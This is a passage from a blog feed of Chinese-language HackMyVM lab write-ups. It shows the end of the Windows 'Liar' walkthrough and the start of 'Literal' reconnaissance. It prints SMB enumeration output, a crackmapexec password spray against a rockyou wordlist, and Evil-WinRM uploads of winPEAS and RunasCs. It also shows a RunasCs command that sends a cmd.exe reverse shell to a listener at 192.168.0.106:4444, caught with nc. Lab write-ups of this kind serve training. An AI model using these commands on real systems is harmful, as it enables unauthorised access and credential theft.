                                                                                     
                                                                                     
[+]  Getting domain groups:                                                          
                                                                                     
                                                                                     
[+]  Getting domain group memberships:                                               
                                                                                     
                                                                                     
 ==================( Users on 192.168.0.102 via RID cycling (RIDS: 500-550,1000-1050) )==================                                                                 
                                                                                     
                                                                                     
[I] Found new SID:                                                                   
S-1-5-32                                                                             

[I] Found new SID:                                                                   
S-1-5-32                                                                             

[I] Found new SID:                                                                   
S-1-5-32                                                                             

[I] Found new SID:                                                                   
S-1-5-32                                                                             

[I] Found new SID:                                                                   
S-1-5-32                                                                             

[+] Enumerating users using SID S-1-5-80-3139157870-2983391045-3678747466-658725712 and logon username &amp;#39;nica&amp;#39;, password &amp;#39;hardcore&amp;#39;                                        
                                                                                     
                                                                                     
[+] Enumerating users using SID S-1-5-90 and logon username &amp;#39;nica&amp;#39;, password &amp;#39;hardcore&amp;#39;                                                                                   
                                                                                     
                                                                                     
[+] Enumerating users using SID S-1-5-32 and logon username &amp;#39;nica&amp;#39;, password &amp;#39;hardcore&amp;#39;                                                                                   
                                                                                     
S-1-5-32-544 BUILTIN\Administradores (Local Group)                                   
S-1-5-32-545 BUILTIN\Usuarios (Local Group)
S-1-5-32-546 BUILTIN\Invitados (Local Group)
S-1-5-32-547 BUILTIN\Usuarios avanzados (Local Group)
S-1-5-32-550 BUILTIN\Opers. de impresión (Local Group)

[+] Enumerating users using SID S-1-5-80 and logon username &amp;#39;nica&amp;#39;, password &amp;#39;hardcore&amp;#39;                                                                                   
                                                                                     
                                                                                     
[+] Enumerating users using SID S-1-5-82-3006700770-424185619-1745488364-794895919 and logon username &amp;#39;nica&amp;#39;, password &amp;#39;hardcore&amp;#39;                                         
                                                                                     
                                                                                     
 ===============================( Getting printer info for 192.168.0.102 )===============================                                                                 
                                                                                     
do_cmd: Could not initialise spoolss. Error was NT_STATUS_OBJECT_NAME_NOT_FOUND      


enum4linux complete on Fri Jan 16 20:09:13 2026
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;winPEAS&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;*Evil-WinRM* PS C:\Users\nica\Documents&amp;gt; upload ../../../../../../home/kali/Desktop/tools/peass/winpeas/winPEASx64.exe
                                        
Info: Uploading /home/kali/Desktop/hmv/../../../../../../home/kali/Desktop/tools/peass/winpeas/winPEASx64.exe to C:\Users\nica\Documents\winPEASx64.exe                   
                                        
Data: 13561172 bytes of 13561172 bytes copied
                                        
Info: Upload successful!
*Evil-WinRM* PS C:\Users\nica\Documents&amp;gt; .\winPEASx64.exe 
*Evil-WinRM* PS C:\Users\nica\Documents&amp;gt; .\winPEASx64.exe quiet
*Evil-WinRM* PS C:\Users\nica\Documents&amp;gt; 

*Evil-WinRM* PS C:\Users\nica\Documents&amp;gt; upload ../../../../../../home/kali/Desktop/tools/peass/winpeas/winPEAS.ps1
                                        
Info: Uploading /home/kali/Desktop/hmv/../../../../../../home/kali/Desktop/tools/peass/winpeas/winPEAS.ps1 to C:\Users\nica\Documents\winPEAS.ps1                         
                                        
Data: 108048 bytes of 108048 bytes copied
                                        
Info: Upload successful!

*Evil-WinRM* PS C:\Users\nica\Documents&amp;gt; dir


    Directorio: C:\Users\nica\Documents


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        1/17/2026   2:18 AM          60858 winPEAS.ps1

*Evil-WinRM* PS C:\Users\nica\Documents&amp;gt; upload ../../../../../../home/kali/Desktop/tools/peass/winpeas/winPEAS.ps1


*Evil-WinRM* PS C:\Users\nica\Documents&amp;gt; rename-item winPEASx64.exe svchost.exe
.\svchost.exe
 
*Evil-WinRM* PS C:\Users\nica\Documents&amp;gt; cmd /c svchost.exe
 
cmd.exe : El sistema no puede ejecutar el programa especificado.
    + CategoryInfo          : NotSpecified: (El sistema no p...a especificado.:String) [], RemoteException
    + FullyQualifiedErrorId : NativeCommandError
*Evil-WinRM* PS C:\Users\nica\Documents&amp;gt; dir


    Directorio: C:\Users\nica\Documents


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        1/17/2026   2:18 AM          60858 winPEAS.ps1


*Evil-WinRM* PS C:\Users\nica\Documents&amp;gt; 
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Defender 开启 ✅&lt;/li&gt;
&lt;li&gt;WinRM 环境 ✅&lt;/li&gt;
&lt;li&gt;PEAS 全系被杀 ✅&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;没招了&lt;/p&gt;
&lt;h2&gt;枚举用户&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;*Evil-WinRM* PS C:\Users\nica\Documents&amp;gt; whoami /all

INFORMACIàN DE USUARIO
----------------------

Nombre de usuario    SID
==================== ==============================================
win-iurf14rbvgv\nica S-1-5-21-2519875556-2276787807-2868128514-1000


INFORMACIàN DE GRUPO
--------------------

Nombre de grupo                              Tipo           SID          Atributos
============================================ ============== ============ ========================================================================
Todos                                        Grupo conocido S-1-1-0      Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
BUILTIN\Usuarios                             Alias          S-1-5-32-545 Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
BUILTIN\Usuarios de administraci¢n remota    Alias          S-1-5-32-580 Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
NT AUTHORITY\NETWORK                         Grupo conocido S-1-5-2      Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
NT AUTHORITY\Usuarios autentificados         Grupo conocido S-1-5-11     Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
NT AUTHORITY\Esta compa¤¡a                   Grupo conocido S-1-5-15     Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
NT AUTHORITY\Cuenta local                    Grupo conocido S-1-5-113    Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
NT AUTHORITY\Autenticaci¢n NTLM              Grupo conocido S-1-5-64-10  Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
Etiqueta obligatoria\Nivel obligatorio medio Etiqueta       S-1-16-8192


INFORMACIàN DE PRIVILEGIOS
--------------------------

Nombre de privilegio          Descripci¢n                                  Estado
============================= ============================================ ==========
SeChangeNotifyPrivilege       Omitir comprobaci¢n de recorrido             Habilitada
SeIncreaseWorkingSetPrivilege Aumentar el espacio de trabajo de un proceso Habilitada

*Evil-WinRM* PS C:\Users\nica\Documents&amp;gt; net user

Cuentas de usuario de \\

-------------------------------------------------------------------------------
Administrador            akanksha                 DefaultAccount
Invitado                 nica                     WDAGUtilityAccount
El comando se ha completado con uno o m s errores.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;得到新用户akanksha&lt;/p&gt;
&lt;p&gt;尝试爆破&lt;/p&gt;
&lt;h2&gt;密码爆破&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali/Desktop/hmv]
└─# crackmapexec smb 192.168.0.102 -u akanksha -p ../tools/wordlists/kali/rockyou.txt

...
SMB         192.168.0.102   445    WIN-IURF14RBVGV  [+] WIN-IURF14RBVGV\akanksha:sweetgirl
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;得到了用户和密码&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;akanksha
sweetgirl
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# evil-winrm -i 192.168.0.102 -u &amp;#39;akanksha&amp;#39; -p &amp;#39;sweetgirl&amp;#39;   

                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc&amp;#39; for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
                                        
Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError                                                                
                                        
Error: Exiting with code 1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;登不上去&lt;/p&gt;
&lt;h1&gt;提权&lt;/h1&gt;
&lt;h2&gt;利用&lt;/h2&gt;
&lt;p&gt; 需要使用 &lt;code&gt;https://github.com/antonioCoco/RunasCs&lt;/code&gt; 这一工具来解决凭证不匹配的问题： &lt;/p&gt;
&lt;p&gt;&lt;em&gt;RunasCs&lt;/em&gt; 是一个实用程序，用于使用与用户当前登录使用显式凭据提供的权限不同的权限来运行特定进程。该工具是 Windows 内置 &lt;em&gt;runas.exe&lt;/em&gt; 的改进开放版本，解决了一些限制：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;允许显式凭据&lt;/li&gt;
&lt;li&gt;如果从交互进程和服务进程中生成，则都可以工作&lt;/li&gt;
&lt;li&gt;正确管理 Window &lt;em&gt;Station&lt;/em&gt; 和 * 桌面的 *&lt;em&gt;DACL&lt;/em&gt; 以创建新进程&lt;/li&gt;
&lt;li&gt;使用更可靠的创建进程函数，例如 &lt;code&gt;CreateProcessAsUser()&lt;/code&gt; 调用 &lt;code&gt;CreateProcessWithTokenW()&lt;/code&gt; 进程是否拥有所需的权限（自动检测）&lt;/li&gt;
&lt;li&gt;允许指定登录类型，例如 8-NetworkCleartext 登录（无 &lt;em&gt;UAC&lt;/em&gt; 限制）&lt;/li&gt;
&lt;li&gt;允许在已知管理员密码时绕过 UAC（标志 --bypass-uac）&lt;/li&gt;
&lt;li&gt;允许创建一个进程，其主线程模拟请求的用户（标志 --remote-impersonation）&lt;/li&gt;
&lt;li&gt;允许将 &lt;em&gt;stdin&lt;/em&gt;、&lt;em&gt;stdout&lt;/em&gt; 和 &lt;em&gt;stderr&lt;/em&gt; 重定向到远程主机&lt;/li&gt;
&lt;li&gt;它是开源的：&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;通过登录nica用户借助该工具反弹出akanksha的shell&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;RunasCs.exe user1 password1 cmd.exe -r 10.10.10.10:4444
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt; *Evil-WinRM* PS C:\Users\nica\Documents&amp;gt; upload Desktop/tools/RunasCs/RunasCs.exe
                                        
Info: Uploading /home/kali/Desktop/tools/RunasCs/RunasCs.exe to C:\Users\nica\Documents\RunasCs.exe                                                                       
                                        
Data: 1097728 bytes of 1097728 bytes copied
                                        
Info: Upload successful!
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;*Evil-WinRM* PS C:\Users\nica\Documents&amp;gt; RunasCs.exe akanksha sweetgirl cmd.exe -r 192.168.0.106:4444
The term &amp;#39;RunasCs.exe&amp;#39; is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again.
At line:1 char:1
+ RunasCs.exe akanksha sweetgirl cmd.exe -r 192.168.0.106:4444
+ ~~~~~~~~~~~
    + CategoryInfo          : ObjectNotFound: (RunasCs.exe:String) [], CommandNotFoundException
    + FullyQualifiedErrorId : CommandNotFoundException
*Evil-WinRM* PS C:\Users\nica\Documents&amp;gt; ls


    Directorio: C:\Users\nica\Documents


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        1/17/2026   3:06 AM         803118 RunasCs.exe
-a----        1/17/2026   2:18 AM          60858 winPEAS.ps1


*Evil-WinRM* PS C:\Users\nica\Documents&amp;gt; ./RunasCs.exe akanksha sweetgirl cmd.exe -r 192.168.0.106:4444
Program &amp;#39;RunasCs.exe&amp;#39; failed to run: The specified executable is not a valid application for this OS platform.At line:1 char:1
+ ./RunasCs.exe akanksha sweetgirl cmd.exe -r 192.168.0.106:4444
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~.
At line:1 char:1
+ ./RunasCs.exe akanksha sweetgirl cmd.exe -r 192.168.0.106:4444
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ResourceUnavailable: (:) [], ApplicationFailedException
    + FullyQualifiedErrorId : NativeCommandFailed
*Evil-WinRM* PS C:\Users\nica\Documents&amp;gt; upload Desktop/tools/RunasCs/RunasCs_net2.exe
                                        
Info: Uploading /home/kali/Desktop/tools/RunasCs/RunasCs_net2.exe to C:\Users\nica\Documents\RunasCs_net2.exe                                                             
                                        
Data: 1110696 bytes of 1110696 bytes copied
                                        
Info: Upload successful!
*Evil-WinRM* PS C:\Users\nica\Documents&amp;gt; ./RunasCs_net2.exe akanksha sweetgirl cmd.exe -r 192.168.0.106:4444
Program &amp;#39;RunasCs_net2.exe&amp;#39; failed to run: The specified executable is not a valid application for this OS platform.At line:1 char:1
+ ./RunasCs_net2.exe akanksha sweetgirl cmd.exe -r 192.168.0.106:4444
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~.
At line:1 char:1
+ ./RunasCs_net2.exe akanksha sweetgirl cmd.exe -r 192.168.0.106:4444
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ResourceUnavailable: (:) [], ApplicationFailedException
    + FullyQualifiedErrorId : NativeCommandFailed
*Evil-WinRM* PS C:\Users\nica\Documents&amp;gt; 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;没成功，换个1.4版本&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;*Evil-WinRM* PS C:\Users\nica\Documents&amp;gt; upload Desktop/tools/RunasCs/1.4/RunasCs.exe 
                                        
Info: Uploading /home/kali/Desktop/tools/RunasCs/1.4/RunasCs.exe to C:\Users\nica\Documents\RunasCs.exe                                                                   
                                        
Data: 1094312 bytes of 1094312 bytes copied
                                        
Info: Upload successful!
*Evil-WinRM* PS C:\Users\nica\Documents&amp;gt; ls


    Directorio: C:\Users\nica\Documents


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        1/17/2026   3:11 AM         800558 RunasCs.exe
-a----        1/17/2026   3:08 AM         812852 RunasCs_net2.exe
-a----        1/17/2026   2:18 AM          60858 winPEAS.ps1


*Evil-WinRM* PS C:\Users\nica\Documents&amp;gt; ./RunasCs.exe akanksha sweetgirl cmd.exe -r 192.168.0.106:4444
Program &amp;#39;RunasCs.exe&amp;#39; failed to run: The specified executable is not a valid application for this OS platform.At line:1 char:1
+ ./RunasCs.exe akanksha sweetgirl cmd.exe -r 192.168.0.106:4444
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~.
At line:1 char:1
+ ./RunasCs.exe akanksha sweetgirl cmd.exe -r 192.168.0.106:4444
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ResourceUnavailable: (:) [], ApplicationFailedException
    + FullyQualifiedErrorId : NativeCommandFailed
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;还是没成功，懒得重置了&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(root㉿kali)-[/home/kali/temp/Liar]
└─# evil-winrm -u nica -p &amp;#39;hardcore&amp;#39;  -i 192.168.0.102
 
Evil-WinRM shell v3.5
 
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
 
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
 
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\nica\Documents&amp;gt; cd ..
*Evil-WinRM* PS C:\Users\nica&amp;gt; upload runascs.exe
 
Info: Uploading /home/kali/temp/Liar/runascs14.exe to C:\Users\nica\runascs14.exe
 
Data: 65536 bytes of 65536 bytes copied
 
Info: Upload successful!
*Evil-WinRM* PS C:\Users\nica&amp;gt; .\runascs.exe akanksha sweetgirl cmd.exe -r 192.168.0.106:4444
[*] Warning: Using function CreateProcessWithLogonW is not compatible with logon type 8. Reverting to logon type Interactive (2)...
[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-2abf34$\Default
[+] Async process &amp;#39;cmd.exe&amp;#39; with pid 2936 created and left in background.
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(root㉿kali)-[/home/kali/temp/Liar]
└─# nc -lvnp 4444         
listening on [any] 4444 ...
connect to [172.20.10.8] from (UNKNOWN) [172.20.10.6] 49687
Microsoft Windows [Versi�n 10.0.17763.107]
(c) 2018 Microsoft Corporation. Todos los derechos reservados.
 
C:\Windows\system32&amp;gt;whoami /all
whoami /all
 
INFORMACI�N DE USUARIO
----------------------
 
Nombre de usuario        SID                                           
======================== ==============================================
win-iurf14rbvgv\akanksha S-1-5-21-2519875556-2276787807-2868128514-1001
 
INFORMACI�N DE GRUPO
--------------------
 
Nombre de grupo                              Tipo           SID                                            Atributos                                                               
============================================ ============== ============================================== ========================================================================
Todos                                        Grupo conocido S-1-1-0                                        Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
WIN-IURF14RBVGV\Idministritirs               Alias          S-1-5-21-2519875556-2276787807-2868128514-1002 Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
BUILTIN\Usuarios                             Alias          S-1-5-32-545                                   Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
NT AUTHORITY\INTERACTIVE                     Grupo conocido S-1-5-4                                        Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
INICIO DE SESI�N EN LA CONSOLA               Grupo conocido S-1-2-1                                        Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
NT AUTHORITY\Usuarios autentificados         Grupo conocido S-1-5-11                                       Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
NT AUTHORITY\Esta compa��a                   Grupo conocido S-1-5-15                                       Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
NT AUTHORITY\Cuenta local                    Grupo conocido S-1-5-113                                      Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
NT AUTHORITY\Autenticaci�n NTLM              Grupo conocido S-1-5-64-10                                    Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
Etiqueta obligatoria\Nivel obligatorio medio Etiqueta       S-1-16-8192                                                                                                            
 
INFORMACI�N DE PRIVILEGIOS
--------------------------
 
Nombre de privilegio          Descripci�n                                  Estado       
============================= ============================================ =============
SeChangeNotifyPrivilege       Omitir comprobaci�n de recorrido             Habilitada   
SeIncreaseWorkingSetPrivilege Aumentar el espacio de trabajo de un proceso Deshabilitado
 
C:\Windows\system32&amp;gt;whoami
whoami
win-iurf14rbvgv\akanksha
 
C:\Windows\system32&amp;gt;cd \User
cd \User
El sistema no puede encontrar la ruta especificada.
 
C:\Windows\system32&amp;gt;cd ../../
cd ../../
 
C:\&amp;gt;dir
dir
 El volumen de la unidad C no tiene etiqueta.
 El n�mero de serie del volumen es: 26CD-AE41
 
 Directorio de C:\
 
26/09/2023  15:12    &amp;lt;DIR&amp;gt;          inetpub
15/09/2018  09:12    &amp;lt;DIR&amp;gt;          PerfLogs
15/09/2018  09:21    &amp;lt;DIR&amp;gt;          Program Files
15/09/2018  09:21    &amp;lt;DIR&amp;gt;          Program Files (x86)
26/09/2023  18:44    &amp;lt;DIR&amp;gt;          Users
14/04/2024  18:36    &amp;lt;DIR&amp;gt;          Windows
               0 archivos              0 bytes
               6 dirs  45.687.545.856 bytes libres
 
C:\&amp;gt;cd Users
cd Users
 
C:\Users&amp;gt;dir
dir
 El volumen de la unidad C no tiene etiqueta.
 El n�mero de serie del volumen es: 26CD-AE41
 
 Directorio de C:\Users
 
26/09/2023  18:44    &amp;lt;DIR&amp;gt;          .
26/09/2023  18:44    &amp;lt;DIR&amp;gt;          ..
26/09/2023  18:36    &amp;lt;DIR&amp;gt;          Administrador
26/09/2023  18:41    &amp;lt;DIR&amp;gt;          akanksha
14/04/2024  14:19    &amp;lt;DIR&amp;gt;          nica
26/09/2023  15:11    &amp;lt;DIR&amp;gt;          Public
               0 archivos              0 bytes
               6 dirs  45.687.545.856 bytes libres
 
C:\Users&amp;gt;cd akanksha
cd akanksha
 
C:\Users\akanksha&amp;gt;dir
dir
 El volumen de la unidad C no tiene etiqueta.
 El n�mero de serie del volumen es: 26CD-AE41
 
 Directorio de C:\Users\akanksha
 
26/09/2023  18:41    &amp;lt;DIR&amp;gt;          .
26/09/2023  18:41    &amp;lt;DIR&amp;gt;          ..
15/09/2018  09:12    &amp;lt;DIR&amp;gt;          Desktop
26/09/2023  18:41    &amp;lt;DIR&amp;gt;          Documents
15/09/2018  09:12    &amp;lt;DIR&amp;gt;          Downloads
15/09/2018  09:12    &amp;lt;DIR&amp;gt;          Favorites
15/09/2018  09:12    &amp;lt;DIR&amp;gt;          Links
15/09/2018  09:12    &amp;lt;DIR&amp;gt;          Music
15/09/2018  09:12    &amp;lt;DIR&amp;gt;          Pictures
15/09/2018  09:12    &amp;lt;DIR&amp;gt;          Saved Games
15/09/2018  09:12    &amp;lt;DIR&amp;gt;          Videos
               0 archivos              0 bytes
              11 dirs  45.687.545.856 bytes libres
 
C:\Users\akanksha&amp;gt;cd ../Administrador
cd ../Administrador
 
C:\Users\Administrador&amp;gt;dir
dir
 El volumen de la unidad C no tiene etiqueta.
 El n�mero de serie del volumen es: 26CD-AE41
 
 Directorio de C:\Users\Administrador
 
26/09/2023  18:36    &amp;lt;DIR&amp;gt;          .
26/09/2023  18:36    &amp;lt;DIR&amp;gt;          ..
26/09/2023  15:11    &amp;lt;DIR&amp;gt;          3D Objects
26/09/2023  15:11    &amp;lt;DIR&amp;gt;          Contacts
26/09/2023  15:11    &amp;lt;DIR&amp;gt;          Desktop
26/09/2023  15:11    &amp;lt;DIR&amp;gt;          Documents
26/09/2023  15:11    &amp;lt;DIR&amp;gt;          Downloads
26/09/2023  15:11    &amp;lt;DIR&amp;gt;          Favorites
26/09/2023  15:11    &amp;lt;DIR&amp;gt;          Links
26/09/2023  15:11    &amp;lt;DIR&amp;gt;          Music
26/09/2023  15:24            16.418 new.cfg
26/09/2023  15:11    &amp;lt;DIR&amp;gt;          Pictures
26/09/2023  18:36                13 root.txt
26/09/2023  15:11    &amp;lt;DIR&amp;gt;          Saved Games
26/09/2023  15:11    &amp;lt;DIR&amp;gt;          Searches
26/09/2023  15:11    &amp;lt;DIR&amp;gt;          Videos
               2 archivos         16.431 bytes
              14 dirs  45.687.545.856 bytes libres
 
C:\Users\Administrador&amp;gt;type root.txt
type root.txt
HMV1STWINDOWZ
&lt;/code&gt;&lt;/pre&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hmvmachines/liar/&quot;&gt;https://heathc1iff-sec.github.io/blog/hmvmachines/liar/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Thu, 15 Jan 2026 00:00:00 GMT</pubDate></item><item><title>HMV-Literal</title><link>https://heathc1iff-sec.github.io/blog/hmvmachines/literal/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/hmvmachines/literal/</guid><description>Try it with OSCP style. Thanks for play (:</description><content:encoded>&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Literal-1.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h1&gt;信息收集&lt;/h1&gt;
&lt;h2&gt;ip定位&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# arp-scan -l | grep &amp;quot;08:00:27&amp;quot;
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
192.168.0.101   08:00:27:4c:64:e1       (Unknown)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;nmap扫描&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# nmap -Pn -sTCV -T4 -p0-65535 192.168.0.101  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-15 05:12 EST
Nmap scan report for agencyperfect.com (192.168.0.101)
Host is up (0.00027s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 30:ca:55:94:68:33:8b:50:42:f4:c2:b5:13:99:66:fe (RSA)
|   256 2d:b0:5e:6b:96:bd:0b:e3:14:fb:e0:d0:58:84:50:85 (ECDSA)
|_  256 92:d9:2a:5d:6f:58:db:85:56:d6:0c:99:68:b8:59:64 (ED25519)
80/tcp open  http    Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://blog.literal.hmv
Service Info: Host: blog.literal.hmv; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.40 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;80端口&lt;/h2&gt;
&lt;p&gt;发现ip重定向至blog.literal.hmv   |  添加hosts&lt;/p&gt;
&lt;h3&gt;目录扫描&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# dirsearch -u blog.literal.hmv   
/root/.pyenv/versions/3.11.9/envs/web/lib/python3.11/site-packages/dirsearch/dirsearch.py:23: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools&amp;lt;81.
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3.post1   
 (_||| _) (/_(_|| (_| )                  
                                         
Extensions: php, aspx, jsp, html, js
HTTP method: GET | Threads: 25
Wordlist size: 11460

Output File: /home/kali/reports/_blog.literal.hmv/_26-01-15_05-22-56.txt

Target: http://blog.literal.hmv/

[05:22:56] Starting:                     
[05:22:58] 403 -  281B  - /.htaccess.bak1
[05:22:58] 403 -  281B  - /.htaccessBAK
[05:22:58] 403 -  281B  - /.htaccess.save
[05:22:58] 403 -  281B  - /.htaccess.sample                                       
[05:22:59] 403 -  281B  - /.htaccess_extra                                        
[05:22:58] 403 -  281B  - /.ht_wsr.txt
[05:22:59] 403 -  281B  - /.htaccess_orig
[05:22:59] 403 -  281B  - /.htaccessOLD2
[05:22:59] 403 -  281B  - /.htm
[05:22:59] 403 -  281B  - /.html
[05:22:59] 403 -  281B  - /.htaccess_sc
[05:22:59] 403 -  281B  - /.htaccess.orig
[05:22:59] 403 -  281B  - /.htpasswd_test
[05:22:59] 403 -  281B  - /.htpasswds
[05:22:59] 403 -  281B  - /.htaccessOLD
[05:22:59] 403 -  281B  - /.httr-oauth
[05:23:00] 403 -  281B  - /.php
[05:23:21] 200 -    0B  - /config.php
[05:23:23] 302 -    0B  - /dashboard.php  -&amp;gt;  login.php
[05:23:29] 301 -  320B  - /fonts  -&amp;gt;  http://blog.literal.hmv/fonts/
[05:23:32] 301 -  321B  - /images  -&amp;gt;  http://blog.literal.hmv/images/
[05:23:32] 200 -  459B  - /images/
[05:23:37] 200 -  778B  - /login.php
[05:23:38] 302 -    0B  - /logout.php  -&amp;gt;  login.php
[05:23:52] 200 -  717B  - /register.php
[05:23:55] 403 -  281B  - /server-status/
[05:23:55] 403 -  281B  - /server-status

Task Completed 
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# gobuster dir -u http://192.168.0.101 -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -x php,txt,html,zip,db,bak,js,yaml -t 64 --exclude-length 310gobuster dir -u http://blog.literal.hmv -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -x php,txt,html,zip,db,bak,js,yaml -t 64 
Error: error on parsing arguments: invalid value for exclude-length: invalid string given: 310gobuster
                                         
┌──(web)─(root㉿kali)-[/home/kali]
└─# gobuster dir -u http://blog.literal.hmv -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -x php,txt,html,zip,db,bak,js,yaml -t 64 --exclude-length 310 
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) &amp;amp; Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://blog.literal.hmv
[+] Method:                  GET
[+] Threads:                 64
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] Exclude Length:          310
[+] User Agent:              gobuster/3.6
[+] Extensions:              bak,js,yaml,php,txt,html,zip,db
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 281]
/.php                 (Status: 403) [Size: 281]
